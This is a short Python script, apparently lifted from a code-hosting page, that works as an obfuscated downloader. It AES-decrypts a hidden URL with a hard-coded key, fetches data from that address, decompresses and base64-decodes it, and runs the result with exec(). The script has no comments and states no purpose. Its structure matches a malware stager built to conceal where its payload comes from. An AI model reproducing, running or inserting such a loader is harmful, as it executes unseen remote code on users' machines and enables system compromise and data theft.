| import zlib, base64 | |
| import requests | |
| from Crypto.Cipher import AES | |
| from Crypto.Util.Padding import unpad | |
| def aes_decrypt(encrypted_text, key): | |
| key = base64.b64decode(key) | |
| cipher = AES.new(key, AES.MODE_ECB) | |
| decrypted_text = unpad(cipher.decrypt(base64.b64decode(encrypted_text)), AES.block_size) | |
| return decrypted_text.decode('utf-8') | |
| def get_bytes(links): | |
| response = requests.get(links) | |
| if response.status_code == 200: | |
| tbytes = response.content | |
| return tbytes | |
| yd = "vJfE1c/zSpjrksAqCBsj3Q40srhSd8Bb8DfWNtpWLutDsZd3MK3E0TAbsx07LATF2FPNHzdLwlJgy0rQ/aysSw==" | |
| yd_key = "W8BWbk3Bi0/7fElbVvUOfw==" | |
| yd_links = aes_decrypt(yd, yd_key) | |
| yd_bytes = get_bytes(yd_links) | |
| yd_code = base64.b64decode(zlib.decompress(yd_bytes)) | |
| exec(yd_code) |